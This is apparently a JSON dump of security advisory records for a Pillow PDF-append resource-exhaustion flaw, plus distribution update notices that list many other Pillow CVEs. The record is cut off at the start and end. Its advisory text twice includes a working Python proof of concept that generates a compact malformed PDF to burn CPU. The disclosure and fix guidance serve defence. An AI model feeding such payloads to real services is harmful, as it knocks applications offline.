\u003e 1 else 12\n    if not 0 \u003c= depth \u003c= 16:\n        raise SystemExit(\"depth must be between 0 and 16\")\n\n    linear = run_case(depth, fanout=1)\n    shared_dag = run_case(depth, fanout=2)\n\n    checks = {\n        \"linear_control_stays_one_page\": linear[\"observed_refs\"] == 1,\n        \"candidate_expands_to_expected_duplicate_refs\": shared_dag[\"observed_refs\"]\n        == shared_dag[\"expected_refs\"],\n        \"candidate_has_one_distinct_page_ref\": shared_dag[\"distinct_refs\"] == 1,\n        \"candidate_input_is_compact\": shared_dag[\"input_bytes\"] \u003c= 2048,\n        \"append_path_processed_both_inputs\": linear[\"output_bytes_after_append\"]\n        \u003e linear[\"input_bytes\"]\n        and shared_dag[\"output_bytes_after_append\"] \u003e shared_dag[\"input_bytes\"],\n    }\n    result = {\n        \"pillow_version\": PIL.__version__,\n        \"pillow_file\": PIL.__file__,\n        \"depth\": depth,\n        \"linear_control\": linear,\n        \"shared_dag_candidate\": shared_dag,\n        \"checks\": checks,\n        \"overall_passed\": all(checks.values()),\n    }\n    print(json.dumps(result, indent=2, sort_keys=True))\n    return 0 if result[\"overall_passed\"] else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\nRun:\n\n```bash\npython3 poc_pillow_pdf_page_tree_dag.py\n```\n\nExpected result:\n\n```text\n\"overall_passed\": true\n\"linear_control\": observed_refs == 1\n\"shared_dag_candidate\": input_bytes == 1410\n\"shared_dag_candidate\": observed_refs == 8192\n\"shared_dag_candidate\": distinct_refs == 1\n```\n\nObserved on current `main` / `13.0.0.dev0`:\n\n```text\n1410-byte input -\u003e 8192 observed page refs -\u003e 9.563007s append\n```\n\nObserved on Pillow `12.3.0`:\n\n```text\nPillow 12.3.0: 1410-byte input -\u003e 8192 observed page refs -\u003e 9.670602s append\n```\n\nFor comparison, the linear control in the same harness uses a comparable-depth page tree with `fanout=1`; it produces one page reference and completed append in about `0.016` to `0.028` seconds in my validation runs.\n\n### Impact\n\nThis is an availability issue in Pillow's PDF append handling. Applications are impacted if untrusted users can supply an existing PDF that the application later appends to, watermarks, or exports using Pillow's `Image.save(..., format=\"PDF\", append=True)` route.\n\nThe demonstrated primitive is deterministic CPU/resource amplification from compact attacker-controlled PDF bytes. The proof does not demonstrate confidentiality impact, integrity impact, memory corruption, filesystem access, network access, or impact through ordinary `Image.open()`.\n\nRequires attacker-influenced existing PDF processed by Pillow's documented PDF append path; not ordinary Image.open().\n\nThis should not be treated as just an unexpected Python exception. In the tested affected builds, the malformed PDF is accepted and processed to normal completion after the expensive expansion.\n\n### Remediation\n\nReject duplicate and cyclic page-tree references before constructing `self.pages` and `self.orig_pages`.\n\nOne possible fix is to pass traversal state through `linearize_page_tree()`:\n\n- Track active `/Pages` references to reject cycles.\n- Track seen page-tree and page indirect references to reject duplicate references.\n- Raise `PdfFormatError` when the page tree is not an acyclic tree of unique indirect references.\n\nSuggested regression tests:\n\n- A small PDF whose `/Kids` array repeats the same child `/Pages` reference should raise `PdfFormatError` quickly when used through `Image.save(..., format=\"PDF\", append=True)`.\n- A normal nested linear page tree should continue to append successfully.","status":"published","published":"2026-10-22T16:00:47Z","modified":"2026-10-22T16:00:47Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-400","CWE-407"],"updated_at":"2026-11-02T14:41:34.690842Z"}],"nvd":[{"id":"CVE-2026-96640","description":"Pillow is a Python imaging library. From 5.1.0 until 13.0.0, PdfParser.linearize_page_tree() in src/PIL/PdfParser.py treats a PDF /Pages graph as a tree without tracking duplicate indirect references. When Image.save(..., format=\"PDF\", append=True) processes an attacker-controlled existing PDF whose /Kids arrays repeatedly reference the same child /Pages node, Pillow expands the shared subtree as distinct pages. A compact malformed PDF can therefore create exponentially many page references and consume disproportionate CPU before the append completes. This issue is fixed in version 13.0.0.","status":"published","published":"2026-10-21T21:20:32.357Z","modified":"2026-10-28T02:17:07.99Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-400","CWE-407"],"updated_at":"2026-11-02T14:13:02.371082Z"}],"osv":[{"id":"CVE-2026-96640","title":"Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion","description":"Pillow is a Python imaging library. From 5.1.0 until 13.0.0, PdfParser.linearize_page_tree() in src/PIL/PdfParser.py treats a PDF /Pages graph as a tree without tracking duplicate indirect references. When Image.save(..., format=\"PDF\", append=True) processes an attacker-controlled existing PDF whose /Kids arrays repeatedly reference the same child /Pages node, Pillow expands the shared subtree as distinct pages. A compact malformed PDF can therefore create exponentially many page references and consume disproportionate CPU before the append completes. This issue is fixed in version 13.0.0.","status":"published","published":"2026-10-21T21:03:22.785Z","modified":"2026-11-11T17:27:06.371002793Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-400","CWE-407"],"updated_at":"2026-11-11T17:46:38.239173Z"},{"id":"DEBIAN-CVE-2026-96640","description":"Pillow is a Python imaging library. From 5.1.0 until 13.0.0, PdfParser.linearize_page_tree() in src/PIL/PdfParser.py treats a PDF /Pages graph as a tree without tracking duplicate indirect references. When Image.save(..., format=\"PDF\", append=True) processes an attacker-controlled existing PDF whose /Kids arrays repeatedly reference the same child /Pages node, Pillow expands the shared subtree as distinct pages. A compact malformed PDF can therefore create exponentially many page references and consume disproportionate CPU before the append completes. This issue is fixed in version 13.0.0.","status":"published","published":"2026-10-21T21:20:32.357Z","modified":"2026-10-28T10:00:32.105160859Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:46:07.324252Z"},{"id":"GHSA-mrfp-p49p-3hf2","title":"Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion","description":"### Summary\nPillow's documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree.\n\nAn attacker who can supply an existing PDF to an application that appends an image with `Image.save(..., format=\"PDF\", append=True)` can provide a malformed `/Pages` tree where each level repeats the same child `/Pages` reference in `/Kids`. Pillow treats the graph as a tree and expands each repeated reference in `PdfParser.linearize_page_tree()` without tracking visited or duplicate indirect references.\n\nIn the bounded proof below, a `1410`-byte PDF expands to `8192` page references from one distinct page object and takes about `9.6` seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about `0.02` seconds.\n\nThis is in scope for Pillow's security policy because it is reproducible in `main`, affects the latest public release tested (`12.3.0`), and is not just an unexpected Python exception. The vulnerable operation accepts attacker-controlled PDF bytes through Pillow's PDF parser and causes deterministic resource consumption before normal completion.\n\n### Details\n\n#### Affected versions\n\n- Package: `Pillow`\n- Ecosystem: `pip` / PyPI\n- Affected component: `src/PIL/PdfParser.py` page-tree traversal reached from `src/PIL/PdfImagePlugin.py` PDF append handling\n- Runtime-tested affected release: `12.3.0`\n- Runtime-tested affected development version: `13.0.0.dev0`\n- Tested commit: `b39b9649312fbc381060e8c7c7f9f0de4cc63daa`\n- Current source artifact hash: `sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054`\n- Release `12.3.0` commit: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d`\n- Release `12.3.0` source artifact hash: `sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81`\n- Source-level affected: `5.1.0`, `12.2.0`, `12.3.0`, and `HEAD`\n- Likely affected range: `\u003e= 5.1.0`\n- Patched versions: none known\n\nEvidence fact strings:\n\n- Runtime-tested affected: 12.3.0\n- Runtime-tested affected: 13.0.0.dev0 at b39b9649312fbc381060e8c7c7f9f0de4cc63daa\n- Source-level affected: 5.1.0\n- Source-level affected: 12.2.0\n- Source-level affected: HEAD\n- Likely affected range: \u003e= 5.1.0, no fixed version known\n- Pre-boundary note: 5.0.0 has PdfImagePlugin.py but no src/PIL/PdfParser.py\n\n`5.0.0` contains `src/PIL/PdfImagePlugin.py` but does not contain `src/PIL/PdfParser.py`. `PdfParser.py` was introduced by `6207b44ab1ff4a91d8ddc7579619876d0bb191a4` (`2018-01-18 issue #2959: support appending to existing PDFs`), which shipped in `5.1.0`.\n\n#### Technical details\n\nThe reachable path is:\n\n1. A service or application receives an attacker-influenced existing PDF and appends an image using Pillow's public PDF save path:\n\n   ```python\n   Image.new(\"L\", (1, 1), 0).save(existing_pdf_file, format=\"PDF\", append=True)\n   ```\n\n2. `src/PIL/PdfImagePlugin.py` routes `append=True` to `PdfParser`:\n\n   ```python\n   is_appending = im.encoderinfo.get(\"append\", False)\n   filename_str = filename.decode() if isinstance(filename, bytes) else filename\n   if is_appending:\n       existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode=\"r+b\")\n   else:\n       existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode=\"w+b\")\n   ```\n\n3. `src/PIL/PdfParser.py` parses the existing PDF and linearizes the page tree:\n\n   ```python\n   self.page_tree_root = self.read_indirect(self.pages_ref)\n   self.pages = self.linearize_page_tree(self.page_tree_root)\n   self.orig_pages = self.pages[:]\n   ```\n\n4. `linearize_page_tree()` recursively follows every `/Kids` entry and extends the page list. It does not track page-tree node identity, duplicate references, or active traversal references:\n\n   ```python\n   def linearize_page_tree(\n       self, node: PdfDict | None = None\n   ) -\u003e list[IndirectReference]:\n       page_node = node if node is not None else self.page_tree_root\n       check_format_condition(\n           page_node[b\"Type\"] == b\"Pages\", \"/Type of page tree node is not /Pages\"\n       )\n       pages = []\n       for kid in page_node[b\"Kids\"]:\n           kid_object = self.read_indirect(kid)\n           if kid_object[b\"Type\"] == b\"Page\":\n               pages.append(kid)\n           else:\n               pages.extend(self.linearize_page_tree(node=kid_object))\n       return pages\n   ```\n\n5. During append, `rewrite_pages()` then iterates the expanded `orig_pages` list and scans/replaces entries in `self.pages`, adding more cost to the already expanded duplicate-reference list.\n\nThe missing invariant is:\n\n```text\nThe PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages.\n```\n\nThe proof intentionally uses a malformed PDF page-tree DAG: each `/Pages` node repeats the same next `/Pages` child reference twice. Pillow accepts this graph and expands it as if the repeated reference represented distinct subtrees.\n\n### PoC\n\nEnvironment used for validation:\n\n- OS/runtime: Linux, Python `3.13.11`\n- Current tested build: Pillow `13.0.0.dev0`, commit `b39b9649312fbc381060e8c7c7f9f0de4cc63daa`\n- Latest release tested: Pillow `12.3.0`\n- The proof uses only synthetic in-memory PDFs and does not contact the network.\n\nSave this as `poc_pillow_pdf_page_tree_dag.py`:\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport io\nimport json\nimport sys\nimport time\n\nfrom PIL import Image, PdfParser\nimport PIL\n\n\ndef make_page_tree_pdf(depth: int, fanout: int) -\u003e bytes:\n    if fanout not in (1, 2):\n        raise ValueError(\"fanout must be 1 or 2\")\n\n    objects: list[bytes] = [b\"\u003c\u003c /Type /Catalog /Pages 2 0 R \u003e\u003e\"]\n    for object_id in range(2, depth + 3):\n        next_id = object_id + 1\n        kids = b\" \".join(f\"{next_id} 0 R\".encode(\"ascii\") for _ in range(fanout))\n        parent = b\"\" if object_id == 2 else f\" /Parent {object_id - 1} 0 R\".encode()\n        objects.append(b\"\u003c\u003c /Type /Pages /Kids [ \" + kids + b\" ]\" + parent + b\" \u003e\u003e\")\n    objects.append(f\"\u003c\u003c /Type /Page /Parent {depth + 2} 0 R \u003e\u003e\".encode(\"ascii\"))\n\n    result = bytearray(b\"%PDF-1.4\\n\")\n    offsets = [0]\n    for object_id, value in enumerate(objects, start=1):\n        offsets.append(len(result))\n        result.extend(f\"{object_id} 0 obj\\n\".encode(\"ascii\"))\n        result.extend(value)\n        result.extend(b\"\\nendobj\\n\")\n\n    xref_offset = len(result)\n    result.extend(f\"xref\\n0 {len(objects) + 1}\\n\".encode(\"ascii\"))\n    result.extend(b\"0000000000 65535 f \\n\")\n    for offset in offsets[1:]:\n        result.extend(f\"{offset:010d} 00000 n \\n\".encode(\"ascii\"))\n    result.extend(\n        f\"trailer\\n\u003c\u003c /Size {len(objects) + 1} /Root 1 0 R \u003e\u003e\\n\"\n        f\"startxref\\n{xref_offset}\\n%%EOF\\n\".encode(\"ascii\")\n    )\n    return bytes(result)\n\n\ndef run_case(depth: int, fanout: int) -\u003e dict[str, object]:\n    payload = make_page_tree_pdf(depth, fanout)\n    expected_refs = fanout ** (depth + 1)\n\n    start = time.monotonic()\n    with PdfParser.PdfParser(buf=payload) as pdf:\n        observed_refs = len(pdf.pages)\n        distinct_refs = len(set(pdf.pages))\n    parse_seconds = time.monotonic() - start\n\n    output = io.BytesIO(payload)\n    start = time.monotonic()\n    Image.new(\"L\", (1, 1), 0).save(output, format=\"PDF\", append=True)\n    append_seconds = time.monotonic() - start\n\n    return {\n        \"fanout\": fanout,\n        \"depth\": depth,\n        \"input_bytes\": len(payload),\n        \"expected_refs\": expected_refs,\n        \"observed_refs\": observed_refs,\n        \"distinct_refs\": distinct_refs,\n        \"parse_seconds\": round(parse_seconds, 6),\n        \"append_seconds\": round(append_seconds, 6),\n        \"output_bytes_after_append\": len(output.getvalue()),\n    }\n\n\ndef main() -\u003e int:\n    depth = int(sys.argv[1]) if len(sys.argv) \u003e 1 else 12\n    if not 0 \u003c= depth \u003c= 16:\n        raise SystemExit(\"depth must be between 0 and 16\")\n\n    linear = run_case(depth, fanout=1)\n    shared_dag = run_case(depth, fanout=2)\n\n    checks = {\n        \"linear_control_stays_one_page\": linear[\"observed_refs\"] == 1,\n        \"candidate_expands_to_expected_duplicate_refs\": shared_dag[\"observed_refs\"]\n        == shared_dag[\"expected_refs\"],\n        \"candidate_has_one_distinct_page_ref\": shared_dag[\"distinct_refs\"] == 1,\n        \"candidate_input_is_compact\": shared_dag[\"input_bytes\"] \u003c= 2048,\n        \"append_path_processed_both_inputs\": linear[\"output_bytes_after_append\"]\n        \u003e linear[\"input_bytes\"]\n        and shared_dag[\"output_bytes_after_append\"] \u003e shared_dag[\"input_bytes\"],\n    }\n    result = {\n        \"pillow_version\": PIL.__version__,\n        \"pillow_file\": PIL.__file__,\n        \"depth\": depth,\n        \"linear_control\": linear,\n        \"shared_dag_candidate\": shared_dag,\n        \"checks\": checks,\n        \"overall_passed\": all(checks.values()),\n    }\n    print(json.dumps(result, indent=2, sort_keys=True))\n    return 0 if result[\"overall_passed\"] else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\nRun:\n\n```bash\npython3 poc_pillow_pdf_page_tree_dag.py\n```\n\nExpected result:\n\n```text\n\"overall_passed\": true\n\"linear_control\": observed_refs == 1\n\"shared_dag_candidate\": input_bytes == 1410\n\"shared_dag_candidate\": observed_refs == 8192\n\"shared_dag_candidate\": distinct_refs == 1\n```\n\nObserved on current `main` / `13.0.0.dev0`:\n\n```text\n1410-byte input -\u003e 8192 observed page refs -\u003e 9.563007s append\n```\n\nObserved on Pillow `12.3.0`:\n\n```text\nPillow 12.3.0: 1410-byte input -\u003e 8192 observed page refs -\u003e 9.670602s append\n```\n\nFor comparison, the linear control in the same harness uses a comparable-depth page tree with `fanout=1`; it produces one page reference and completed append in about `0.016` to `0.028` seconds in my validation runs.\n\n### Impact\n\nThis is an availability issue in Pillow's PDF append handling. Applications are impacted if untrusted users can supply an existing PDF that the application later appends to, watermarks, or exports using Pillow's `Image.save(..., format=\"PDF\", append=True)` route.\n\nThe demonstrated primitive is deterministic CPU/resource amplification from compact attacker-controlled PDF bytes. The proof does not demonstrate confidentiality impact, integrity impact, memory corruption, filesystem access, network access, or impact through ordinary `Image.open()`.\n\nRequires attacker-influenced existing PDF processed by Pillow's documented PDF append path; not ordinary Image.open().\n\nThis should not be treated as just an unexpected Python exception. In the tested affected builds, the malformed PDF is accepted and processed to normal completion after the expensive expansion.\n\n### Remediation\n\nReject duplicate and cyclic page-tree references before constructing `self.pages` and `self.orig_pages`.\n\nOne possible fix is to pass traversal state through `linearize_page_tree()`:\n\n- Track active `/Pages` references to reject cycles.\n- Track seen page-tree and page indirect references to reject duplicate references.\n- Raise `PdfFormatError` when the page tree is not an acyclic tree of unique indirect references.\n\nSuggested regression tests:\n\n- A small PDF whose `/Kids` array repeats the same child `/Pages` reference should raise `PdfFormatError` quickly when used through `Image.save(..., format=\"PDF\", append=True)`.\n- A normal nested linear page tree should continue to append successfully.","status":"published","published":"2026-10-22T16:00:47Z","modified":"2026-10-29T10:55:39.916451864Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-400","CWE-407"],"updated_at":"2026-11-02T15:46:52.170928Z"},{"id":"RLSA-2026:92639","title":"Important: python-pillow security update","description":"Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.\n\nSecurity Fix(es):\n\n* pillow: Pillow: Denial of Service via unbounded recursion in PDF parser (CVE-2026-112391)\n\n* pillow: pillow: Denial of service via double free during image transformation (CVE-2026-112402)\n\n* pillow: pillow: Denial of Service via zero-size images in rank filters (CVE-2026-112392)\n\n* pillow: pillow: Denial of Service via out-of-bounds memory access on zero-width images (CVE-2026-112397)\n\n* pillow: Pillow: Denial of Service via null pointer dereference in Image.merge() (CVE-2026-112405)\n\n* pillow: pillow: Denial of Service via crafted multi-frame image conversion (CVE-2026-112894)\n\n* pillow: pillow: Denial of service via crafted PDF during append operations (CVE-2026-112895)\n\n* pillow: pillow: Denial of Service via infinite loop during PDF page rewriting (CVE-2026-112406)\n\n* pillow: pillow: Denial of Service via duplicate page references in PDF files (CVE-2026-96640)\n\n* pillow: pillow: Denial of Service via unbounded memory expansion in MSP image decoder (CVE-2026-112892)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.","status":"published","published":"2026-10-30T12:01:32.049364Z","modified":"2026-10-30T12:30:03.302727339Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:26.76659Z"},{"id":"UBUNTU-CVE-2026-96640","description":"Pillow is a Python imaging library. From 5.1.0 until 13.0.0, PdfParser.linearize_page_tree() in src/PIL/PdfParser.py treats a PDF /Pages graph as a tree without tracking duplicate indirect references. When Image.save(..., format=\"PDF\", append=True) processes an attacker-controlled existing PDF whose /Kids arrays repeatedly reference the same child /Pages node, Pillow expands the shared subtree as distinct pages. A compact malformed PDF can therefore create exponentially many page references and consume disproportionate CPU before the append completes. This issue is fixed in version 13.0.0.","status":"published","published":"2026-10-21T21:20:00Z","modified":"2026-11-04T20:04:29.941588405Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-04T21:43:26.87909Z"},{"id":"ALSA-2026:92639","title":"Important: python-pillow security update","description":"Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.  \n\nSecurity Fix(es):  \n\n  * pillow: Pillow: Denial of Service via unbounded recursion in PDF parser (CVE-2026-112391)\n  * pillow: pillow: Denial of service via double free during image transformation (CVE-2026-112402)\n  * pillow: pillow: Denial of Service via zero-size images in rank filters (CVE-2026-112392)\n  * pillow: pillow: Denial of Service via out-of-bounds memory access on zero-width images (CVE-2026-112397)\n  * pillow: Pillow: Denial of Service via null pointer dereference in Image.merge() (CVE-2026-112405)\n  * pillow: pillow: Denial of Service via crafted multi-frame image conversion (CVE-2026-112894)\n  * pillow: pillow: Denial of service via crafted PDF during append operations (CVE-2026-112895)\n  * pillow: pillow: Denial of Service via infinite loop during PDF page rewriting (CVE-2026-112406)\n  * pillow: pillow: Denial of Service via duplicate page references in PDF files (CVE-2026-96640)\n  * pillow: pillow: Denial of Service via unbounded memory expansion in MSP image decoder (CVE-2026-112892)\n\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n","status":"published","published":"2026-10-29T00:00:00Z","modified":"2026-10-30T12:15:02.326932554Z","updated_at":"2026-11-02T15:27:57.367731Z"},{"id":"BIT-pillow-2026-96640","title":"Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion","description":"Pillow is a Python imaging library. From 5.1.0 until 13.0.0, PdfParser.linearize_page_tree() in src/PIL/PdfParser.py treats a PDF /Pages graph as a tree without tracking duplicate indirect references. When Image.save(..., format=\"PDF\", append=True) processes an attacker-controlled existing PDF whose /Kids arrays repeatedly reference the same child /Pages node, Pillow expands the shared subtree as distinct pages. A compact malformed PDF can therefore create exponentially many page references and consume disproportionate CPU before the append completes. This issue is fixed in version 13.0.0.","status":"published","published":"2026-10-29T08:58:15.618Z","modified":"2026-10-29T10:55:39.916451864Z","updated_at":"2026-11-02T15:28:34.724063Z"},{"id":"CLSA-2026-1792576513","title":"TuxCare security update for pillow (11 CVEs)","description":"TuxCare rebuilt pillow to address 11 CVEs. Fixed in 11.3.0.post7+tuxcare.","status":"published","published":"2026-10-21T09:55:13Z","modified":"2026-10-27T13:43:06.040248398Z","updated_at":"2026-11-02T15:43:54.672859Z"},{"id":"CLSA-2026-1792580209","title":"TuxCare security update for pillow (11 CVEs)","description":"TuxCare rebuilt pillow to address 11 CVEs. Fixed in 11.2.1.post9+tuxcare.","status":"published","published":"2026-10-21T10:56:49Z","modified":"2026-10-27T13:43:10.139648005Z","updated_at":"2026-11-02T15:43:54.672859Z"},{"id":"CLSA-2026-1792580364","title":"TuxCare security update for pillow (11 CVEs)","description":"TuxCare rebuilt pillow to address 11 CVEs. Fixed in 10.4.0.post11+tuxcare.","status":"published","published":"2026-10-21T10:59:24Z","modified":"2026-10-27T13:43:12.663296173Z","updated_at":"2026-11-02T15:43:54.672859Z"},{"id":"CLSA-2026-1792631285","title":"TuxCare security update for pillow (11 CVEs)","description":"TuxCare rebuilt pillow to address 11 CVEs. Fixed in 9.5.0.post9+tuxcare.","status":"published","published":"2026-10-22T01:08:05Z","modified":"2026-10-27T13:43:12.156714802Z","updated_at":"2026-11-02T15:43:54.672859Z"},{"id":"CLSA-2026-1792648426","title":"TuxCare security update for pillow (10 CVEs)","description":"TuxCare rebuilt pillow to address 10 CVEs. Fixed in 9.4.0.post10+tuxcare.","status":"published","published":"2026-10-22T05:53:46Z","modified":"2026-10-27T13:43:09.909534082Z","updated_at":"2026-11-02T15:43:54.672859Z"},{"id":"CLSA-2026-1792648427","title":"TuxCare security update for pillow (9 CVEs)","description":"TuxCare rebuilt pillow to address 9 CVEs. Fixed in 8.4.0.post9+tuxcare.","status":"published","published":"2026-10-22T05:53:47Z","modified":"2026-10-27T13:43:10.346747201Z","updated_at":"2026-11-02T15:43:54.672859Z"},{"id":"openSUSE-SU-2026:12251-1","title":"python313-Pillow-13.0.0-2.1 on GA media","description":"These are all security issues fixed in the python313-Pillow-13.0.0-2.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-23T00:00:00Z","modified":"2026-10-24T17:23:09.361131687Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:22246-1","title":"Security update for python-Pillow","description":"This update for python-Pillow fixes the following issues:\n\n- CVE-2026-96636: decompression-bomb protection bypass via multi-frame `seek()` in MPO and DCX (bsc#1286802).\n- CVE-2026-96637: decompression bomb check bypass in `SpiderImagePlugin.seek()` leads to unbounded allocation DoS\n  (bsc#1286801).\n- CVE-2026-96638: BMP RLE decoder memory-amplification DoS via unbounded delta escape/absolute mode (bsc#1286800).\n- CVE-2026-96639: multi-frame loaders can reuse stale native image storage after mode transitions (bsc#1286799).\n- CVE-2026-96640: PDF append accepts malformed shared page-tree DAG, which can cause resource exhaustion (bsc#1286798).\n- CVE-2026-96641: reachable undefined behavior in native integer operations can lead to denial of service or logic\n  integrity compromise (bsc#1286797).\n- CVE-2026-96642: `TarIO` negative size field causes infinite CPU-spin loop (bsc#1286796).\n- CVE-2026-96643: PNG eXIf chunk makes EXIF parsing run in quadratic time (bsc#1286795).\n- CVE-2026-96778: heap buffer overflow writing JPEG comment after ICC profile fills buffer (bsc#1286793).\n- CVE-2026-112390: Denial of Service via infinite loop during crafted MIC image parsing (bsc#1286256).\n- CVE-2026-112391: Denial of Service via unbounded recursion in PDF parser (bsc#1286273).\n- CVE-2026-112392: Denial of Service via zero-size images in rank filters (bsc#1286287).\n- CVE-2026-112393: heap buffer overflow and stale-heap disclosure in _tiffWriteProc when saving compressed TIFF data\n  (bsc#1286325).\n- CVE-2026-112394: `P;2L` and `P;4L` decoders may read 1 to 3 bytes past the passed buffer size (bsc#1286311).\n- CVE-2026-112395: Pillow tiled-TIFF decoder reads past tile buffer in `copy4` (bsc#1286312).\n- CVE-2026-112396: heap use-after-free when encoding TIFF to an in-memory buffer (bsc#1286313).\n- CVE-2026-112397: out-of-bounds access in `_imagingmorph` on a zero-width image (bsc#1286314).\n- CVE-2026-112398: heap buffer overflow in FPX JPEG decoding can lead to code execution (bsc#1286406).\n- CVE-2026-112399: Denial of service via crafted APNG image (bsc#1286368).\n- CVE-2026-112400: Denial of Service via memory exhaustion from crafted GIF image (bsc#1286370).\n- CVE-2026-112401: Denial of Service via crafted GIF comments (bsc#1286372).\n- CVE-2026-112402: Denial of service via double free during image transformation (bsc#1286381).\n- CVE-2026-112403: heap buffer overflow in `ImagingJpegDecode` allows for code execution (bsc#1286405).\n- CVE-2026-112404: Denial of Service via out-of-bounds read in TIFF decoding (bsc#1286388).\n- CVE-2026-112405: NULL pointer dereference in `Image.merge` via an unvalidated band 0 (bsc#1286404).\n- CVE-2026-112406: infinite loop in `PdfParser.rewrite_pages` on page tree `Parent` cycle (bsc#1286403).\n- CVE-2026-112891: quadratic GIF comment copying during save (bsc#1286402).\n- CVE-2026-112892: MSP RLE decoder expands a tiny file into unbounded memory (bsc#1286401).\n- CVE-2026-112893: Denial of Service via invalid pointer free during font rendering (bsc#1286392).\n- CVE-2026-112894: Denial of Service via crafted multi-frame image conversion (bsc#1286408).\n- CVE-2026-112895: Denial of service via crafted PDF during append operations (bsc#1286411).\n- CVE-2026-112896: TIFF encoder `ColorMap` plane-size mismatch causes a heap out-of-bounds read (bsc#1286400).\n- CVE-2026-112897: `TiffDecode` returns uninitialized memory as pixels for short JPEG strips (bsc#1286398).\n- CVE-2026-112898: `Image.quantize()` with empty palette can leak uninitialized stack memory (bsc#1286399).\n- CVE-2026-112899: EPS `load(scale)` lets Ghostscript render past the decompression bomb limit (bsc#1286489).\n- CVE-2026-112900: argument Injection in Ghostscript call can lead to remote code execution (bsc#1286397).\n- CVE-2026-112901: ReDoS in `XbmImagePlugin` can be triggered by 512-byte file (bsc#1286396).\n- CVE-2026-112902: memory disclosure and segfault in libtiff encoder via crafted TIFF tags (bsc#1286804).\n- CVE-2026-114501: Arrow export leaks stale heap memory when `PILLOW_ALIGNMENT \u003e 1` (bsc#1286803).\n","status":"published","published":"2026-11-05T03:40:19Z","modified":"2026-11-11T17:23:13.17320283Z","updated_at":"2026-11-11T17:47:15.466074Z"},{"id":"SUSE-SU-2026:5038-1","title":"Security update for python-Pillow","description":"This update for python-Pillow fixes the following issues:\n\n- CVE-2026-96636: decompression-bomb protection bypass via multi-frame `seek()` in MPO and DCX (bsc#1286802).\n- CVE-2026-96637: decompression bomb check bypass in `SpiderImagePlugin.seek()` leads to unbounded allocation DoS\n  (bsc#1286801).\n- CVE-2026-96640: PDF append accepts malformed shared page-tree DAG, which can cause resource exhaustion (bsc#1286798).\n- CVE-2026-96641: reachable undefined behavior in native integer operations can lead to denial of service or logic\n  integrity compromise (bsc#1286797).\n- CVE-2026-96642: `TarIO` negative size field causes infinite CPU-spin loop (bsc#1286796).\n- CVE-2026-112390: Denial of Service via infinite loop during crafted MIC image parsing (bsc#1286256).\n- CVE-2026-112391: Denial of Service via unbounded recursion in PDF parser (bsc#1286273).\n- CVE-2026-112392: Denial of Service via zero-size images in rank filters (bsc#1286287).\n- CVE-2026-112393: heap buffer overflow and stale-heap disclosure in _tiffWriteProc when saving compressed TIFF data\n  (bsc#1286325).\n- CVE-2026-112394: `P;2L` and `P;4L` decoders may read 1 to 3 bytes past the passed buffer size (bsc#1286311).\n- CVE-2026-112397: out-of-bounds access in `_imagingmorph` on a zero-width image (bsc#1286314).\n- CVE-2026-112398: heap buffer overflow in FPX JPEG decoding can lead to code execution (bsc#1286406).\n- CVE-2026-112399: Denial of service via crafted APNG image 